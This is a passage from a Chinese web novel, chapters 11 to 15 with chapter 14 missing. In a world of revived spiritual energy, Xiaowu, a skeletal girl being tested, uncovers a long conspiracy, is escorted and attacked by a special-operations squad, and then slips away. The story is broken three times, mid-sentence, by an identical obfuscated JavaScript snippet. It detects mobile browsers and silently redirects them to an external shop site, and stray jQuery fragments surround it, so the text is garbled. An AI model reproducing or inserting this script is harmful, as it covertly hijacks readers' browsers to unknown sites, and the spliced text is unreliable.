王二没有直接回答，他转身走到一处破旧的柜子前，拉开柜子，又捣鼓两下拽开一个暗格，从里面拖出一个铁箱子。他从箱子里取出一个文件夹，原本想丢过来，但在看到小五惨兮兮干巴巴的样子以后，又改了主意。 他捏着文件夹走过来，递给小五。 “这是……” 小五接过文件夹，打开来。 入目是一张张贴着编号的照片，旁边有简短的介绍，而照片里，是一个个不成人型的……人。 王二拉了个椅子坐下。 “你以为，活性因子是从哪里来的？” “你以为，那些家伙会好心到做只赔不赚的买卖？” 小五抿着唇，啪的一声，合上了文件夹。 问道，“他们想干什么？” “干什么？”王二微微仰着头，“有一些人，当他们锦衣玉食，高高在上，就会开始妄想，妄想长生不老，与天同寿，妄想……随心所欲。” “后来，他们似乎找到了方法，妄想可以不再是妄想，只是需要付出一些代价，一些……在他们眼里微不足道的代价。” “这是一场持续了近百年的阴谋。” “先把猪喂肥了，再把猪吃了，一头不够，那就很多头，仅仅只是肥也不够，猪得会跑，会跳，会叫唤。那就哄着它，给它名声，给它地位，绑架它，给它希望，赋予意义……” 11. 十一 王二的声音慢慢变低，又重新回拢。 “你应该还想问失踪案。” “让我猜猜看。” 王二讲述的话语声一顿，他偏过头，看到小五扶着椅子站了起来。 “比如，收割的时间到了，又或者是，虽然技术不成熟但箭在弦上不得不发，再或者是，活性因子放多了导致异变，就像你说的，长期摄入不匹配的东西，如果过量什么的，如果他们急了什么的。” “对吗？” “比起失踪案……我有些好奇，只是一点点好奇，为什么？” 王二一愣。 “……什么？” 小五气势汹汹的瞪着他，然后滑稽的单脚跳到王二近前，伸手够到对方的衣领，又因为一下子没保持住平衡，歪了一下，不得不先放开对方的衣领调整姿势。 王二：…… 他有些头疼的看着人，“你又要干什么？” 重新恢复平衡的小五再次揪住对方的衣领，“你问我干什么？” “我还问你呢！臭傻哔！” 小五咬牙切齿的看着眼前的人，心中一个劲的念叨。 未经他人苦，不要过多探究别人的隐私，未经他人苦…… 王二又皱眉头了，他总是皱眉头，严肃的，苦闷的。他正一脸莫名的被小五拽着衣领，拽的力道不算大，拽的人自己还哆哆嗦嗦，也不知道是气的还是疼的。 他等了一会儿，见小五骂完人之后半天不说话，以为这人又在发疯，于是抬手想要拂开她的手。 “不是这样的……” 王二：？ “你们不能总是这样……” 面前人深陷的眼窝里，眼睛大的有点吓人，此时看着他的目光，愤怒又难过。 “……我讨厌孤胆英雄，电影里的讨厌，现实里的更讨厌。” 先于其他人面对风险，对你们而言似乎从来都不是个艰难的抉择。 时间跨度太长了，灵气复苏的影响已经深入到方方面面，就算把所有事实都清清楚楚的摆出去，也依旧会引起不必要的乱子。 告诉他们临界点已经到了，再这样下去大家一起变成人不人鬼不鬼的怪物？ 会引起恐慌的。 而恐慌会传染，会扩大，会被有心人利用，会破坏岌岌可危的秩序。 于是一些了解到真相的人，擅自对人群做了预设，又不约而同的选择把自己放在那条线上，去扛起责任，去用尽全力，解决危机。 可是……不该是这样的。 我见过万众一心是什么样子，虽然是在书里，在长辈的故事里，在早春的微风里，在街边的叫卖声里。 为什么你们都会做出这样的选择？ 小五盯着对方的眼睛，恍惚间仿佛看到当年师父离开时的样子。 笑着的，义无反顾的。 不长嘴的。 又一次，却再也没有下一次。 …… 草。 师父说，我们总怀着对死亡的恐惧去面对死亡，但我们依旧可以笑着迎接它，这并不冲突。 你呢？ 你明明可以活下来。 你明明就没笑！ 小五很努力的想把405里那个一脸疲惫与厌倦、正在走向死亡的躯体从脑子里挥出去，很努力，却做不到。 她咬着牙瞪了半天，最终还是松开了手。 我从来不是什么面面俱到的人。 这是你的故事，你的世界，一场以你的死亡为轴心的考核。 共什么情？ 与我无关。 关我屁事！ 她捏了捏自己的手心。 “我没有问题了。” “说吧，需要我做什么？” …… 警方根据注射进小五血液中定位的微弱信号，于10月18日凌晨，在郊区一间废弃的厂房边的员工宿舍内找到了被铐在椅子上的目标人物。 房间里只有她一个人，废墟一样的内部看似不存在任何有用的线索，看似而已，该做的还是得做。 现场搜查与小五无关，她被迅速装车带走，负责押送的是位熟人。 熟人整张脸都被装备遮的严严实实，与其他人在外表上的差别很小，但架不住熟人肢体语言丰富。 他用手指了指小五被简单固定的腿，又指了指她明显使不上力气的胳膊，然后幅度很大的歪了下头。 见小五不搭理他，干脆放下武器，空出双手比了个鸟飞飞的动作。 小五：…… 一行人如今正坐在一辆造型奇特的车里，熟人就坐在她对面。她的两侧都是充满了力量与生机的□□，对面也是，一排。 这次的阵仗比上次要大的多。 车辆朝着不知名的目的地行驶，车内的人们都在紧张的戒备着，除了熟人先生，或者，可以叫他口罩男。 口罩男一路上都在致力于逗小五开口，花样百出，他的队友们大概早就习惯了这人的行为模式，因此没有一个人制止他，也没有一个人分给他哪怕一丝一毫的注意力。 至少表面上看是这样。 车辆一直在平稳行驶，不知过了多久，突然猛的一刹，小五猝不及防，被惯性甩到旁边的人身上，又被那一身的装备磕的生疼。 那人伸手扶了她一下，把她重新推回座位上坐稳。 车厢里没有窗户，她看不到外面的情况，但能看到车内的。 对面的口罩男终止了他的逗人行为，已经重新拿起了武器，他手里比划了两下，所有人迅速调整位置。口罩男一步跨到小五面前，伸手把人捞到自己身后，背朝着的她半蹲下。 小五：…… 她配合的趴到了对方的背上。 依旧没人说话，这一车厢的人好像提前预知了将要发生的事一样，没有惊慌，没有意外，只有有条不紊。 而在小五听不到的某个频段，交流声从始至终就没停过。 ——来了多少？ ——二十，可能更多。 ——那就是更多呗。 ——按原定计划行事，到时候别说漏嘴了哈，都演的像一点。 ——天天演，干脆出道算了。 ——现在流行白幼瘦，瞅瞅这三个字哪个和你沾边，还出道。 ——哥儿们这款阳光帅气型男，肯定有受众的好吧？ ——要吐了。 ——好了，都集中。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14174541|150286||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ——队长，不是我说，这小骷髅能行吗？ ——不行也得行。 ——……来了！ 伴随着脑内频道内这一声来了，小五身侧一圈人身上先后爆发出一股气势，这种气势她曾在王二身上见到过一次，但王二那次仅仅只是昙花一现，就被使用者收回。 这次不一样。 气势无形，但有力，此起彼伏的回荡在车厢内，封闭的空间里，空气似乎都粘稠了些许，持续的压迫感让小五呼吸都变的有些困难。 下一秒，剧烈的爆破声的响起。 这辆车的防爆能力十分强悍，小五眼睁睁看着车壁不停变形，但它就是没破。 驾驶室的人早在车停的时候就已经靠拢过来汇合，整个小队聚在一处。 又等了一会儿，背着小五的口罩男再次做了个手势。 整只小队蓄势待发。 他们准备突围了。 来袭击的是谁？他们是怎么得到的消息？ 警方提前预知到了消息会泄露？ ——不出所料，有内鬼。 王二不愿与警方直接合作，又或者他本身就是暗处的一枚至关重要的棋，之所以隐于暗处，是因为内鬼。内鬼或身居高层，或隐藏很深，而且很可能不止一只。 他们又在钓鱼，但这次，不是用鱼钩，他们用是网。 嗯……这样该叫收网了吧。 唯一悠闲的小五紧紧扒在口罩男的身后，心里默默的想。 正想着，身边一名特战队员突然向前两步来到车门边，他身上猛的爆发出了一种极强的能量，这股能量在瞬间拧碎了车门。 因外部爆炸而变形的车门被强势洞开，灰色的雾气腾的升起，在车门碎裂的一瞬间，将所有人都笼罩其中。 所有人，车内车外。 小五听到了一声不似人类的嚎叫，凄厉且瘆人，小队已经开火，众人在强火力压制下出了车厢，开始向四周分散。 “卧槽，这帮狗／日／的！” 终于有人开口了，但也仅这一句。小五顺着出声的方向看去，浓雾遮掩下只有朦胧的灵光忽隐忽现。 她眨了下酸涩的眼睛，不再细看。 能感受到有许多生物靠近，速度有快有慢，有零星的火球擦着她的耳边飞过，嚎叫声不时响起，又在攻击下消失。 背着她的人浑身气势爆涨，造型古怪的枪械在他手中射出的不是子弹，而是旋转的小型气旋，每射／出一枪，都能卷起一道横向的气波，在雾气的加持下宛如一道道深邃的涡流。 小队原地清了会儿场，发现敌人源源不断，没完没了，当机立断改变了策略。 依旧是在小五听不到的频道，众人完成了短暂的交流，接着重新聚拢，集中向一处突围。 雾气更浓了。 一行人迅速冲出雾气笼罩范围，把追击留在了雾气里。 小五终于看清楚自己现在在什么地方。 依旧是郊区，看起来没什么人烟。他们现在正在往路边的树林里冲 “队长，最多十分钟。” 一道急促的，压低的声音从旁边传来，有些熟悉，好像是之前医院里时的警备人员之一。 12. 十二 对方察觉到小五的注视，脑袋微微朝她的方向偏了偏，很快又偏了回去。他的身上沾了许多粘稠的血，手里不是枪械，而是两把看起来就很重的刀。 “距离目标地点还有多远？”口罩男问。 “七公里。” 这次是另一道声音。 小五看过去，发现回答的人身侧还架着一个人，那人肉眼可见的受了很严重的伤，从下颌到锁骨被撕开，血糊拉碴的裂着一条长长的口子，此时伤口被不知名胶质包裹，阻止了进一步恶化，也锁住了本该不停流失的血液。架住他的人边说，边往对方尚算完好的气管上怼了根不明材质的管子，为岌岌可危的呼吸开辟了一条临时通道。 然后嫌弃的把人一把推开。 伤患：…… 口罩男回头看了一眼，“能撑住吗？” 受伤的人立刻精神抖擞的比了个能行的手势。 口罩男收回视线，下命令，“全员提速。” 几乎是声音刚落的瞬间，强劲的风压立刻袭来，比之上次被口罩男抱着移动时要迅猛的多。 小队一共十二个人，他们无声又迅速的翻越植被覆盖的山丘，如同一道模糊的影子，顷刻间便移动了数百米。 真的好快。 小五被迎面而来的风吹的泛起一点泪，有些难受，干脆把脸藏在了口罩男肩膀后面。 低头的时候，余光往旁边一撇。 …… 等等，那是什么？ 她没声张，而是顺着姿势微微斜过脸。 在他们身侧，贴近地面的位置，隐没在一丛丛灌木与杂草之间，几乎与他们平行向前的地方移动的……虫子？ 她瞳仁的颜色变浅了些许，瞳孔微缩，如果此刻有人盯着她的眼睛看，或许能看到——她的瞳孔不再是圆形，它变成了正方形。如果看的更仔细一些，就会发现，黑色的方形瞳孔中还嵌套着一个等边的菱形，而菱形中，又是四方，四方套菱，菱又四方——层层相叠，宛如一个另类的漩涡。 此刻，漩涡正整朝向那在灌木与杂草都遮掩下忽隐忽现的虫子，虫子的一切在小五的眼中逐渐清晰。 黑色的鞘翅，不停煽动的膜翅，圆鼓鼓的肚子，肚子上有一圈极其不明显的红线。 头……头…… ！ 只一瞬间，小五立刻想起了医院病房中诡异转动的摄像头。 ——虫子的头正以一种平缓的，均匀的速度，慢慢转动着，逐渐朝向小五的方向，那大约是眼睛的地方，是两个圆圆的孔。 这个场景在高速移动中连背景都显得有些模糊的画面下，十分诡异。 小五眨了下眼睛，瞳孔重新恢复正常。 她又想掉鸡皮疙瘩了。 小队还在前进，没有一个人对这只正以不正常的速度与他们共同前行的虫子提出任何质疑。 没发现？ 还是因为，虫子也是计划的一部分？或者某个人的能力？ 行进时间并不长，很快，一行人就来到了一处山壁前，断裂的山壁似乎不久前才经历过一次山体滑坡，四处都是滚落的石头与土块。 那个之前拧碎过车门的特战队员上前将手伸进泥土中一拉，一道狭窄的门被他拉开。他让开路，口罩男立刻背着小五率先进入，其余人随后跟上，伴随着窄门被重新合上的声音响起，原本漆黑的内里逐渐被点亮。 与小五想的不同，点亮室内的不是灯光，而是自然光。 四周三侧的墙面均变的透明，外部的一切全都清晰可见。 那个断壁，还有泥石流后的残像，居然都是模拟出来的？ 眼前的景象让小五对考核世界的科技力有了新的认知。与加试前在405和408时看到的寥寥几个电子产品相比，这里所展现出的技术力仿佛是在50年后。 口罩男将小五放到地上，动作夸张的锤了锤自己的腰，接着像鸡妈妈一样张开双臂挥了挥。 “好了好了，该治治，该吃吃，原地修整。” 说完，又凑到小五身边，摘掉面具，露出脸，双手拍了拍。 他问，“你在看什么？” 小五看了他一眼，指了指外面并没有跟进来，而是找了个地方，正对着他们这边，趴伏的虫子。 “哦，这个，”口罩男没了口罩，露出的脸很符合他不那么着调的气质，他捞起小五的一只手，拉着人往前几步，“最新研究成果，这里是实验地之一，再过个把月收集完数据就要拆除了……摸摸看？” 小五的指尖触及到冰冷的墙面。 “可惜你是灵气拥塞体质，用不了。” 口罩男松开带着小五摸墙的那只手，自己摸向墙面，他的身上腾起一股柔和的气，下一秒，那只摸向墙面的手就毫无阻碍的穿了出去。 他收回手，冲着小五微微弯腰。 “看，灵气的第一百零八种妙用，厉害吧。” 口罩男拍了拍小五光秃秃的脑袋，语气戏谑，“这次可没有窗户给你跳了，大胆儿~” 他凑近小五耳边，气音吹拂，“想跑，也不会像上次那么容易。” 小五看向他，口罩男笑着，一脸无辜的后退几步。 “别这么看着我，害怕怕。” 小五：…… “那里有个虫子。” 她重新指向虫子的方向，口罩男顺着她的视线看过去。 “……所以？” 小五仔细观察他的脸，这个人依旧牵着上扬的嘴角，看不出一丝破绽。 “那是土蝽，在野外很常见。” 一道声音打断了小五的观察，她回头看去，只见双刀男正在朝他们的方向走过来。他也摘了面罩，露出一张一看就很严肃正经的脸。 此时这张严肃正经的脸上带着一点很容易看出来的紧张。 “你怕虫子吗？” 没等小五回答，他又说，“你放心，它们进不来。” 小五：…… “谢谢，我不怕。” 双刀男噎了一下，嘴唇煽动两下，抿紧了。 口罩男在一旁饶有兴致的单手叉腰，看戏。 “他想和你道歉，”又一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14183547|150286||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道声音，这次是个女声，正是之前拧车门的队员，面罩下是一张英气的脸，“之前他们任务执行出岔子，害你差点出事。” “其实怪我，是我没感应出来那个针剂对她来说是致命的。”在一边给受伤的队友疗伤的队员正背对着这边，闻言扭过头来接了一句，又冲着小五歉意的笑了笑。 他的面罩还没来得及脱，小五看不到他脸上的表情。 抿着嘴的双刀男再次开口，“不是的，是我没保护好你，但我们没想……还是请你相信我们，真的，这次不会再发生上次那样的事了。” 双刀男站的笔挺，跟练军姿一样，女队员走上前冲着他的背就是一巴掌。 “别吓到人小姑娘，”她打完人，又朝小五歉意的笑了笑，“感谢你配合我们这次的行动，这次的行动意义非常，也很危险，但请你不要怕，我们会保护好你，请相信我们，我们可是特调局最强的小队，没有之一。” 小五：“好，好的。” 女队员见小五磕巴，反手又抽了双刀男的背一巴掌，“你看你，都怪你，吓唬人家干嘛？” 话音落，双刀男那张严肃认真的脸瞬间染上一层委屈。 他委屈，但他不说，原地站着军姿，独自默默委屈。 小五：“……他没吓我。” “是啊是啊，小名小五，大名五大胆，这世界上就没有你怕的东西，对吧？” 看了半天热闹的口罩男终于出声，他冲着小五挤了下眼睛，然后回头看向自己的队员们，“行了，别搁这儿戳着，找个地方把你这一身清一清，又酸又臭，不怪人不想搭理你，”这是对双刀男，“你也去歇着，一会儿又得忙起来，不抓紧补充体力，瞎凑什么热闹。”这是对拧门女。 “好嘞~”拧门女囫囵敬了个礼，拽着双刀男走一边去了。 口罩男又冲那边正给伤患治疗伤口的队医，“那个谁，还有剩吗？还有就过来给咱们的公主大人治治她这胳膊腿儿。” 这句话的指向性明显，没有旁的人出来认领‘那个谁’这个名头。这一队人里这会儿最忙的就是那个谁，除了被划拉开一个大口子的，还有胳膊划到动脉的，其它人都是小伤不用管，这两个得优先处理。 那个谁无奈回头，“等会儿，马上。” 口罩男：“好好好，你先忙，别忘了啊~” 那个谁在没来的急摘的面罩下肆无忌惮的翻了个大大的白眼。 小五看到那个谁摘掉手套后的掌心对准伤员的伤患处，原本狰狞的伤口正在逐渐愈合。 可神奇。 看，灵气复苏，不是没有好处。 “我听说你问题很多？”口罩男结束张罗，原地盘腿坐下，啪啪拍了两下身前落着一层灰的地面，“别客气，坐。” 小五：…… 她扶着透明的墙面艰难的坐下，期间口罩男只是支着下巴笑眯眯的看，并没有搭把手的意思。 等她坐好，他开口，“咱们时间有限，大胆公主有什么想问的最好现在问。” 小五看了他一眼，又去看屋外的虫子。 13. 十三 虫子依旧在原地，一动不动，她总觉得那虫子能透过伪装看到室内发生的事。 她收回目光，重新看向口罩男，“我可以知道你的名字吗？” “我？”口罩男单手支着下颌，“周五，你看，是不是很有缘，你是五，我也是五。” 小五：…… 哦，原来五是你啊。 —————— [……卧槽，这个人，真的好像我一熟人] [脸吗？] [不是脸，就是小动作，一模一样，吓人] [……真的假的] [你朋友是有多可怕，一个小动作都能吓成这样] [可能被参考了？毕竟模拟出来的NPC性格特征什么的都是东拼西凑来的] [这么一说，那位使双刀的兄弟性格也很像我一哥们] [大惊小怪] [话说有人扒出来这个考核世界是谁的经历了吗？] [没有吧，论坛也没有] [不知道] [万一真是曲总，毕竟王二的脸] [不可能好吧，曲总纯纯科学位面出身] [严格来说只有上半张脸和曲总相似] [所以曲总是谁？] [内层一佬] [曲总，后勤的神！] [友友们，前线战报，智类首通已经出了，推理满分，探索分也很高，就综合评价拉胯些] [卧槽？！] [一老头，进支线后一通神奇操作，bubiubiu的，绝了，整一个福尔摩斯本福] [福尔摩斯又是谁？] [我原生世界里一个特牛／逼的侦探，老头推理过程已经有人在讨论版发出来了，有兴趣自己去看] [那个我看了，讲道理，没看懂] [要积分的，差评] [所以现在是什么？压小五妹妹的我们已经输了的意思？卧槽我压了半副身家啊！] [半副？呵，我梭／哈！] [……还攀比上了是吧] [不慌，最终排名看总分的，虽然没看懂妹妹到底想干嘛，以她目前这个表现，综合评价分应该不低] [……问题人推理满分，咱妹能行吗？] [我慌了] [慌屁] [加试提前交卷又没额外分，推的快而已] [无所谓输赢，输了就当为天真充值了] [此话怎讲？] [别啊，赢不好吗？输了下一年一整年都得啃营养液啊！] [不是，真梭／哈啊？] —————— 小五看了一会儿眼前的人。 善于伪装，让人看不清真实意图，表现的很平易近人，实则外热内冷。 知道很多，有自己的算盘。 说实话，这种类型比王二那种更难搞。 小五心底默默叹气。 她真的很不擅长这些。 “之前，不能发出声音，对吧。” 周五挑了下眉，并不意外，“怎么看出来的？” 小五默默盯着他，“不能出声，却想让我开口？” “嗯……有点好奇，”周五冲着小五眨了下眼，“生气了？” “安心安心，我既然敢做，自然有保住你的办法，要相信特调局最强小队的队长啊。” 话音刚落，一声‘噫——’从旁边传来。周五眯着眼看过去，明明没做出什么凶狠的表情，却有一股浓浓的威胁意味。 那边瞬间收声。 他转回来，变脸一样，重新和蔼可亲。 “他们内部有能通过声音定位进而扰乱定位处灵气以达到瞬杀效果的能力，这个能力无法对你生效。” 小五没上当，“空气中也有逸散的灵气吧，我无法使用灵气并不等同于灵气无法伤害我。” “你说得对，”周五煞有介事的点点头，“所以我好奇的是，他们想要的是生死无论的你，还是必须抓活的。” 说完，他又问，“生气了吗？” 小五：…… “没有。” 习惯了。 “这样啊……那抓紧时间，咱们走下一题？” 小五一愣。 下一……题？ 她的目光变的疑惑。 周五微微歪头，‘嗯？’了一声，“怎么，不问了？” 小五微微抿唇，她吸了口气，又吐出。 搞正事。 “我看到过一份录像，录像里是一场比赛……”小五停了一下，周五没什么反应，依旧撑着下颌听，“……新历62年的宗门大比，万剑宗对扶风山，王二对赵一。” 在说到赵一这个名字的时候，小五察觉到对面的人呼吸微微顿了一下。 其实不仅仅是周五，小队其余队员虽然分散坐在室内各处，实则注意力都有一部分放在这边。两人的交谈并没有避着其他人的意思，修行人的耳朵又都较之寻常人更灵敏些，因此也都听到了那个名字。 赵一。 偶尔响起的交谈声不见了，擦拭装备的声音也消失了，只留喉部受伤还没好利索的伤患呼哧呼哧喘气的声音。 周五依旧表现的很寻常的样子，仿佛听故事一样，耐心的等待小五的下文。 小五接着说道，“408的案发现场，被害人之一的那位女孩，和赵一很像。” 没人接话。 “两名被害人曾在宗门大比的场馆内合照，从年龄上推断，也许就是十四年前。” “她们有一定的血缘关系，对吗，是姐妹？他们调查失踪案，是因为赵一吗？” 小五没有停下，她还在说，“你们保护我，有人要杀我，你们的视线集中在一个无法使用灵力的人身上，还说很重要，是因为我的外表吗？” “在你们眼中，我是什么？” 依旧没人接话。 室内，几乎所有细小的杂音都消失了，连伤患的喘气声，都变的小心翼翼的平缓。 好几双眼睛看过来，视线在小五和自家队长之间来来回回，带着明显的欲言又止，止又欲言。 小五权当没注意到其他人的异常，只专注的等周五的回答。 周五依旧歪着脑袋回看她，常态牵起的嘴角连角度都没变化。 “他说的对，你真的很敏锐，还有，一如往常的，大胆。” 周五松开撑着下颌的手，似乎并不避讳的样子，直言道，“赵一去世了，至于你，嗯……一个胆子很大的小骷髅人？” 赵一去世，不是失踪，是死亡。小五默 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14200569|150286||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了默，又问，“在你们眼中，我和赵一之间有什么联系？” “联系？” 周五朝外面扫了一眼，他站起身，刚摘没多久的面罩重新覆盖了整张脸，他弯腰捏了捏小五后颈突出的颈骨，随后拽着她身上饱经折腾却依旧坚／挺的病号服后领，一把将人提了起来。 “你不是已经猜到了吗？大胆公主？” 小五那点稀释的重量在他手中根本不够看，他提着小五跟提着一袋子面似的，还晃了晃。 手里还提着人，周五偏头朝着已经迅速聚拢到身边的队员说道，“抓紧把她的腿处理一下。” 接着在队医的应答声中，将手上提着的人塞到了队医身边。 收回手的时候，顺手拍了拍小五圆溜溜的脑袋，语带笑意的说，“是大骷髅和小骷髅的关系。” 随后转过身，面朝着一个方向，“这次多少？” “感应不到，”双刀男上前两步，路过小五身边的时候似乎是瞥了她一眼，“被屏蔽了。” “意料之中。” 周五不置可否，他似乎没什么紧张情绪，“走第二方案。” “明白。” 一道道应和声中，小五断裂的腿骨在队医微微散发着暖意的掌心下逐渐恢复。队医结束治疗，捏了捏她重新接好的骨头，然后咔咔上手把简单的固定道具拆了丢一边，接着，似乎是得到了什么命令，起身朝一处紧挨着山壁的漆黑容器走去。 小五发现这些人又开始了新一轮的沉默，她看向外面，虫子不知道飞去了哪里，而不远处的重重树影间，似乎有什么东西在移动。 她视线移动，刚好对上了周五面朝这边的脸。包裹在面罩下的脸看不到神情，但她总感觉对方在打量。 一种衡量与评估的打量，甚至带着一点点排斥的敌意。 小五：？ 错觉？ 队医很快复返，他将一个科技感十足的腰带系在小五的腰间，随即按了一个按钮。腰带上延伸出一道道细细的线，顺着小五的四肢一路缠绕到她的手腕脚腕。 队医又抓紧时间搞了一下她的胳膊，受损的经脉终于得以重新链接。 小五抬起手捏了捏拳头，又走了两步，感受到四肢活动几乎不费什么力气，规律缠绕着四肢的线没有带来太多行动阻力。 就是外观不怎么好看，有点涩／涩的。 外骨骼？ 她抬眼，瞅了瞅已经重新转回去的周五的后脑勺，又看向正在观察她情况的队医。 想了想，冲着对方笑了一下。 她退后两步，张开嘴。 “谢谢。” 队医：？ 队医：！ 在这一声谢谢堪堪出口的瞬间，小五立刻感受到了那种被锁定的感觉。 一个即将废弃的实验用基地，关键词废弃，果然没有屏蔽灵气攻击的装置。 这个世界所谓的灵气与相关科技几乎共同发展，无论从装备还是使用上都与影视剧中描述的修仙大相径庭。 其实，更像是一种基于个体差异的能力开发？ 比如这个，依靠声音锁定方位的攻击能力。 队医想要上前救援，奈何对方的攻击到的更快。 小五朝着重新看向这边的周五扬起一个挑衅的笑。 15. 十五 刀尖根本没碰到对方，就被躲开了。 一行五人仿佛得了什么命令，不再犹豫，纷纷调转武器朝向她。 小五前冲的势头卸了，她仰起脸，手中的刀被她顺势丢向距离最近的人。 理所当然的被躲开。 一轮攻击很快就来，但她看起来很镇定。空出的手在空中划过潦草的符号，在仅她可见的世界中，眼前这五人身上的气在符号成型后从相对稳定的服帖变成了逐渐沸腾的气团。 她压下已经到嗓子眼的呛咳，近至眼前的攻击躲不过，只能硬受，于是双手抱胸，将左肩迎了过去。 就在这时，熟悉的灰烟从四周腾起，瞬间将小五整个人都埋了进去。熟悉的痛感没有传来，一道破空声自离她很近的地方响起，一支断臂xiu的飞到小五身边，摊地上不动了。 小五眨了眨眼，抬手捂嘴，默默往后退。 可总算来了。 雾气中，双刀男顺手捡回了自己的另一柄刀，他的能力与他的刀法配合无间。雾气能影响被他判定为敌人的感官，对他来说，是完美的人造狩猎场。 只是…… 队友已经默默凑到了他身边，正在脑内疯狂吐槽。 ——发什么疯呢？ ——……不知道。 ——我去他们不会也变异了吧？你这雾还带让人变异的？ ——……不能。 ——怎么了怎么了？ ——你们那边钓到人了？ ——钓到了，队长去收拾那个代号‘噤’的家伙，公主这边五个小垃圾。 ——emmm……五个脑子不大好使的小垃圾。 ——详细说说呗？ ——我不道啊，你问他。 ——需要支援吗？ ——不用，我们这边没问题，队长那边更不会有问题。 雾气是双刀男的能力，队友虽不会被扰乱感官，但依旧受限于能见度变低。她看不清周围的情况，但他能。 之前为了救人被他两刀直接毙命的家伙正趴在脚边，而其余四人，正在做一些奇怪的动作，晃晃悠悠的，眼神睿智，仿佛吃了没处理好的野生菌。 双刀男：……不理解。 两人愣神的功夫，小五已经退出了雾气范围，双刀男骤然失去小五的方位，回头看了一眼，脚步挪动着想跟过去。 被队友一把拽着向前了几步。 ——算了，管他们犯什么病，先把人控制住。 被迫配合的双刀男：…… 他加快动作，两人上前三两下就将毫无反抗的四人放倒，又给几人的脖子都扎了一针。 ——搞定收工，赶紧把你这雾散散，闷的慌。 ——话说咱公主呢？跑哪去了？ 双刀男沉默着散了雾气。 现场哪里还有小五的身影？两人不信邪的四下张望，又附近摸了一大圈。 没有，都没有。 ——人呢？跑了？ ——不是，为什么啊？ 如果小五还在，或许能认出，双刀男的队友正是之前喉咙受伤的那位。 双刀男四周搜了一圈，无果，面罩下的眉毛拧的都快打结了，忽然，他目光一顿。 草丛间，机械虫虫碎裂的残躯被一只手捏着拿了起来。 ‘那是什么？’ 这是不久前小五说过的话，对着一只虫子，而现在，这里也出现了一只虫子。 双刀男眉头打结更严重了，想不明白。 他看了眼还在喋喋不休的队友，在脑内戳了戳他家隐身了半天的队长。 另一边。 其实小五没跑太远。 边上有个河沟，她现在正在河沟里顺水往下游走，重新聚集的虫子们在她身边漂浮，尾部的红光圈圈变成了蓝光。她眼睁睁的看着找她的特战队员从她头顶路过两次，但就是瞎一样，看不见。 她又累又渴又饿，整个人完全是靠外骨骼……外骨线支撑着往前走。 好在并没有让她再徒步翻山越岭太久。 虫子引了一会儿路，到了一处搭建随意的石板桥下，终于止步，一只只乖顺的在旁边的桥墩上趴了个小矩阵。 小五停下脚步，看到远处有袅袅炊烟，抬眼，日头当空。 已经中午了啊…… 她一屁股坐到了桥墩边，想了想，干脆躺下了。 浑身的泥土混着草木间的晨露，和成了泥，粘在身上，不怎么舒服，但她懒得讲究。 也没那条件讲究。 她太累了。 自从在这个考核世界醒来以后，就没怎么歇过，能活蹦乱跳到现在，全靠她自己抗造，还有医院时输进去的那点液。 又累又渴又饿，还想上厕所。 …… 躺了一会儿，不知道过去多久，她似乎是睡着了，忽听有突突突的声音响起，由远及近。 突突突停下了，有脚步声顺着河沟边摸了过来。 小五睁开惺忪的眼，看到一位穿着朴素的中年人，头发裹在布巾里，立在离她三米远的距离，就这么默默的看着她。 小五也在看她。 “你是那个黑客？” 女人没说话。 小五：“好吧，你不是，但你和他是一伙的。” “你和那个想杀我的护士也是一伙的？” 女人依旧没说话，她的脸紧紧绷着，看起来比小五这个躺在地上半死不活一副任人宰割模样的家伙要紧张的多。她解开自己包在头上的头巾，绑到了脸上，这让她看起来有些像个即将掩耳盗铃的小贼。 小五：“我不是你们认为的那个人，我以为你们能猜到？” 女人向她走来。 小五默默叹了口气。 “听着，亲爱的，我的时间不多了，我能感觉到，”她依旧摊在原地一动不动，“所以，不要再浪费它，让我们在有限的时间里一起做点有意义的事不好吗？” 说到最后半句，她转过头，看向安静趴伏在桥墩上的虫子们，重复了一遍。 “不好吗？” 女人已经从口袋里摸出一支小型注射器。 好眼熟。 小五看着对方走到她身边，蹲下，拿起她的胳膊。 看着对方将注射器贴在她的手腕，按下按钮。 她没反抗。 中年女人的手一直在抖，她完成注射的动作，就这么蹲在原地，手里依旧紧紧抓着那个注射器，两只浑浊的眼睛，死死盯着小五。 一分钟。 两分钟。 …… 五分钟。 注射器发出滴的一声声响，中年女人紧绷的身体陡然放松。 小五依旧在呼吸，那张骇人的脸上，眼睛依旧有神。 注射器掉在了地上，发出一声清脆的响声。 小五看向中年女人，发现她不知什么时候，已经泪流满面。原本压抑的呼吸被放开，哧哧的喘息声中仿佛包含了巨大的痛苦，和如释重负。 …… 她抬起手，试探着拍了拍对方的手臂。 女人抖了一下，没有躲开。 